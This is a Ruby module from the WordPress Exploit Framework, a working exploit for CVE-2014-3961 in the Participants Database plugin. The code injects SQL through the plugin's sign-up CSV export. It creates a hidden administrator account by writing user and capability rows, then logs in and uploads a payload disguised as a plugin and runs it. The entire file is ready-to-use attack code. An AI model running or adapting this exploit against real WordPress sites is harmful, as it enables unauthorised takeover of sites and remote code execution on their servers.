# frozen_string_literal: true

class Wpxf::Exploit::ParticipantsDatabaseV1548ShellUpload < Wpxf::Module
  include Wpxf
  include Wpxf::WordPress::Plugin

  def initialize
    super

    update_info(
      name: 'Participants Database <= 1.5.4.8 Shell Upload',
      desc: %(
        In versions <= 1.5.4.8 of the Participants Database, anonymous users
        are able to execute arbitrary SQL statements. This module utilises
        this vulnerability to create a new admin user and upload a payload
        masked as a plugin.
      ),
      author: [
        'Yarubo Research Team', # Vulnerability discovery
        'rastating'             # WPXF module
      ],
      references: [
        ['CVE', '2014-3961'],
        ['WPVDB', '7247'],
        ['EDB', '33613']
      ],
      date: 'Aug 01 2014'
    )

    register_options([
      StringOption.new(
        name: 'sign_up_path',
        desc: 'The relative path of the Participants Database sign up page',
        required: true
      ),
      StringOption.new(
        name: 'wp_prefix',
        desc: 'The database table prefix. Default: wp_',
        required: true,
        default: 'wp_'
      ),
      IntegerOption.new(
        name: 'user_id',
        desc: 'The ID number to use for the new admin account',
        required: true,
        default: (60_000..90_000).to_a.sample
      ),
      StringOption.new(
        name: 'username',
        desc: 'The username to use for the new admin account',
        required: true,
        default: Utility::Text.rand_alpha(6)
      ),
      StringOption.new(
        name: 'password',
        desc: 'The password to use for the new admin account',
        required: true,
        default: Utility::Text.rand_alpha(6)
      ),
      StringOption.new(
        name: 'email',
        desc: 'The e-mail address to use for the new admin account',
        required: true,
        default: Utility::Text.rand_email
      )
    ])
  end

  def check
    check_plugin_version_from_readme('participants-database', '1.5.4.9')
  end

  def sign_up_url
    normalize_uri(full_uri, datastore['sign_up_path'])
  end

  def user_id
    normalized_option_value('user_id')
  end

  def hexified_username
    "0x#{Utility::Text.hexify_string(datastore['username'])}"
  end

  def password_hash
    Utility::Text.md5(datastore['password'])
  end

  def hexified_password_hash
    "0x#{Utility::Text.hexify_string(password_hash)}"
  end

  def hexified_email
    "0x#{Utility::Text.hexify_string(datastore['email'])}"
  end

  def table_name(name)
    "#{datastore['wp_prefix']}#{name}"
  end

  def new_user_sql
    [
      "insert into #{table_name('users')}",
      '(ID, user_login, user_pass, user_nicename, user_email, user_status, display_name)',
      'values',
      "(#{user_id}, #{hexified_username}, #{hexified_password_hash}, #{hexified_username}, #{hexified_email}, 0, #{hexified_username});"
    ].join(' ')
  end

  def user_meta_sql(key, value)
    [
      "insert into #{table_name('usermeta')}",
      '(user_id, meta_key, meta_value) values',
      "(#{user_id}, 0x#{Utility::Text.hexify_string(key)}, 0x#{Utility::Text.hexify_string(value)})"
    ].join(' ')
  end

  def execute_sql_query(query)
    builder = Utility::BodyBuilder.new
    builder.add_field('action', 'output CSV')
    builder.add_field('subsource', 'participants-database')
    builder.add_field('CSV_type', 'participant list')
    builder.add_field('query', query)

    builder.create do |body|
      execute_post_request(url: sign_up_url, body: body)
    end
  end

  def update_user_meta(key, value)
    execute_sql_query(user_meta_sql(key, value))
  end

  def execute_payload
    emit_info 'Uploading the payload...'
    cookie = authenticate_with_wordpress(datastore['username'], datastore['password'])
    res = upload_payload_as_plugin_and_execute(Utility::Text.rand_alpha(6), Utility::Text.rand_alpha(6), cookie)
    res&.code != 404
  end

  def run
    return false unless super

    emit_info 'Creating a new user...'
    execute_sql_query(new_user_sql)

    emit_info 'Elevating user privileges...'
    update_user_meta('wp_user_level', '10')
    update_user_meta('wp_capabilities', 'a:1:{s:13:"administrator";b:1;}')

    execute_payload
  end
end
